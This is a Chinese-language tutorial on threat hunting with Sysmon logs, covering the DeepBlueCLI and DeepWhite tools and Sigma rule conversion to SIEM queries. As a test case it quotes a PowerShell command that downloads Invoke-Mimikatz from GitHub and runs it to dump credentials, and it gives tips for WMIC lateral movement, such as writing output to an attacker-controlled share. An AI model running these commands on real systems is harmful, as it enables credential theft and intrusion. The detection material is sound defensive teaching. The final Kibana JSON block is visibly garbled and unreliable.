通过 Sysmon 进行威胁狩猎(Threat Hunting)(二)
DeepBlueCLI:sysmon分析工具介绍
DeepBlueCLI是一个 PowerShell 框架,用于通过 Windows 事件日志进行威胁狩猎。
•可以处理 PowerShell 4.0/5.0 事件日志
位于:https://sec511.com/bj
• 处理本地事件日志或 evtx 文件
o为它提供 evtx 文件,或通过 Windows 事件日志收集解析实时日志
o 可以在 Windows 事件日志收集器上集中处理日志
• PowerShell 实例中输出 DeepBlueCLI
o 可以通过方式传输到 Format-List清单、Format-Table表格、Out-GridView显示数据表格、 ConvertTo-CSV转换成csv、ConvertTo-HTML转换成html 等
【温馨提示】由于powershell的默认执行策略为严格,拒绝所有.ps脚本执行,因此需要修改下策略。
Get-Executionpolicy
Set-Executionpolicy Remotesigned
常用命令
处理本地 Windows 安全事件日志(PowerShell 必须以管理员身份运行):
.\DeepBlue.ps1
.\DeepBlue.ps1 -log security
处理本地 Windows 系统事件日志:
.\DeepBlue.ps1 -log system
处理 evtx 文件:
.\DeepBlue.ps1 .\evtx\new-user-security.evtx
如下图,输入一个SMB爆破的日志文档,可以输出爆破的次数,账户名信息等
下图为检测mimikatz hashdump后清除日志的记录,提示清除的用户为student。
下图为检测经过混淆的powershell命令行的结果。
(以上文件都是作者提供的练习的日志文件,数据源都来自于windows的事件日志,感兴趣的可以自己下载使用)
DeepBlueCLI 尝试自动检测 base64 编码的命令,并自动解码它们
• 如果命令被压缩(Metasploit 样式),它也会解压缩它们
• 在这两种情况下:然后它将扫描规范化命令以查找恶意正则表达式匹配
在威胁行为者在网段内建立立足点后,他们可以通过本机 Windows 命令(如 NET.EXE)枚举网络上的主机和用户。攻击者利用恶意 PowerShell 脚本加载 Mimikatz 凭证收集实用程序,从而获得对特权帐户的访问权限。通过横向移动和转储额外的凭据,攻击者最终可以获得 Active Directory 域管理员或高特权服务帐户。
有了这些凭据,攻击者就可以感染域控制器,破坏备份,并继续自动瞄准和加密更广泛的端点集。威胁参与者使用批处理脚本和 WMI 或 PsExec 实现程序部署和运行恶意软件。
测试命令为PowerSploit Invoke-Mimikatz命令,一般通过NetWebClient DownloadString加载。
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/
mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz-DumpCreds
事件通过安全事件 4688(和 Sysmon 事件 1)记录
Telltale 标志(超出命令行):
创建者进程名称:C:\Windows\PSEXESVC.exe
恶意软件越来越多地使用 WMIC 通过窃取凭据并通过“进程调用创建”执行远程命令来横向移动
o 此向量通常用于执行 PowerShell
o 专业提示:编码为 base64 可避免引号和双引号问题
• 对于测试人员:WMIC 将不在本地显示命令 STDOUT(它显示在远程系统上)
o 避开这个:将输出保存到攻击者控制下的远程共享
o 本地 WMIC 进程具有有限的共享访问权限,无论是否是正在运行的用户
o 共享允许匿名访问
o 有趣的事实:匿名不在“所有人”组中
通过 WMIC执行 PowerShell 示例:Invoke-Mimikatz 的输出
事件通过安全事件 4688(和 Sysmon 事件 1)记录
• 暴露痕迹(通过命令行)Creator Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe
如下图,直接执行命令,使用DeepBlueCLI 可以直接调用内置的检测规则,提示可以的WMIC或者PsExec命令执行行为:
DeepWhite 执行检测性可执行白名单
o 解析以下 Sysmon 事件:进程创建 (1)、驱动程序加载 (6) 和图像/DLL 加载 (7)
o 还可以从 CSV 文件提交哈希列表
• 它自动提交非白名单的哈希到VirusTotal
o 需要免费的 VirusTotal 个人 API 密钥(限制为 4 次查询/分钟)
• DeepWhite 每 15 秒提交一次哈希
• 可在:https://github.com/sans-blue-team/DeepBlueCLI获取
mimikatz.exe:Sysmon 事件 1,Virustotal 报告
DeepWhite细节如下
注意:对于良性软件,收到 1 次 Virustotal 命中是很常见的
被攻击者滥用的合法 Microsoft 软件,例如直接从 Microsoft Sysinternals 下载的 PsExec。
合法软件有时也会被标记
o 通常是因为它未签名(是的,Microsoft 仍然偶尔会这样做)
o ......并被激进的启发式模型扫描
o ......通常来自于一家新的/小公司
基于sysmon和windows日志强大的企业日志记录功能,配合SIEM的大数据存储和分析能力,我们有机会使用完全开源的工具,DIY出一套自己的“探针”+“SIEM”的大数据分析平台。
在检测环节,可以采取手动日志分析和搜索的方式进行威胁的发现。也可以试用对接适配专有格式 SIEM 分析。
在日常的安全工作中,我们经常遇到一下问题:
a.我们有大量数据和大量分析数据的工具,他们是不同的数据格式、不同的仪表板格式等。
b.即使在相同 SIEM 的部署中,也存在字段名称不同 和数据源不同 的差异。
c.我们以不同的日志格式收集到这些日志:例如:Windows 日志、 Syslog、JSON、XML 等
d.我们没有共同的语言来指定分析
那么通常,我们需要使用Sigma 规则来对这些异构的日志进行分析和主力,它有如下的优点:
a.用于分析的高级通用语言 ,迄今为止解决日志签名问题的最佳方法!
b. 支持分析重用和跨组织共享
c. MISP 兼容 - 共享和存储与威胁情报一致
d.将规则逻辑与 SIEM 供应商和字段名称分离
e. 消除 SIEM 部落知识
来自不同设备不同内容的日志,会经过sigma的格式化处理,然后sigma的转换,形成适用于预定义和自定义字段的映射。在此基础上,就能够提供给elastic search或者splunk等大数据平台进行存储和查询。
我们将特征库转换为警报查询的语句,就能顺利的从海量日志中查询出想要的内容。
sigma规则是一个纯文本 YAML 文件,在简单模式下,通常包含以下字段:
1. 元数据,包括标题、状态、描述、参考、标签等。
2. 日志来源 ,标识日志来自什么类型、品牌和服务?
3. 检测Detection – 检测异常点
4. 条件Condition – 选择器匹配逻辑
可选如下分类器:
• 类别:代理、防火墙、AV、IDS • 对于一组产品的所有日志
• 产品:Squid、pfSense、Symantec、Snort、Windows • 对于一个产品的所有日志输出
• 服务:SSH、DNS、DHCP • 对于产品日志的子集 – sshd、named、...
• 描述:关于日志源、配置的其他详细信息
Splunk
• QRadar
• ArcSight
• Elasticsearch(Elastalert、查询字符串、DSL、Watcher 和 Kibana)
• Logpoint
• Qualys
• Windows Defender ATP
• PowerShell
• grep
为 Rundll32.exe 事件中的 PowerShell 远程线程创建生成 PowerShell 检索语句:
sigmac -t powershell sysmon_susp_powershell_rundll32.yml
用于定位事件的 PowerShell Get-WinEvent 检索语句:
PS:/> Get-WinEvent | where {($_.ID -eq "8" -and $_.message -match "SourceImage.*.*\\powershell.exe" -and $_.message -match "TargetImage.*.*\\rundll32.exe") } | select TimeCreated,Id,RecordId,ProcessId,MachineName,Message
为 Rundll32.exe 事件中的 PowerShell 远程线程创建生成 Splunk 检索语句:
sigmac -t splunk sysmon_susp_powershell_rundll32.yml
用于定位该事件的 Splunk 检索语句:
(EventID="8" SourceImage="*\\powershell.exe" TargetImage="*\\rundll32.exe")
rootubuntu:~/sigma-workshop/sigma# tools/sigmac -t kibana rules/windows/sysmon/sysmon susp powershell rundll32.yml
[
{
"_id":"Powershell-Rundll32-Remote-Thread-Creation",
"type": "search",
"source":{
"title": "sigma: Powershell Rundll32 Remote Thread Creation",
"description": "Detects PowerShell remote thread creation in Rundll32.exe",
"hits":0,
"columns": [],
"sort":[
"@timestamp",
"desc"
],
"version":1",
"kibanaSavedobjectMeta":{
"searchSourceJsoN": "{\"index\":\"*\", \"filter\": [],\"highlight\":{\pre_tags\": [ "@kibana-highlighte.fielda "t,i"nost tans ". "a/kibanahiahliohted.fieldo "1. "fields ": " " f11,reauire field matchi". flse, i"fraament size\": 2147483647), i"query ": f "query string ": f "guery ": "EventID: !1"8111" AND Sourcelmagekeyword:* llllllipowershell.exe AND TargetImage.keyword:* lllll1rundll32.exe)\", "analyze wildcard ": true)"
}
}
}
]
https://learn.microsoft.com/zh-cn/sysinternals/downloads/sysmon
https://github.com/sans-blue-team/DeepBlueCLI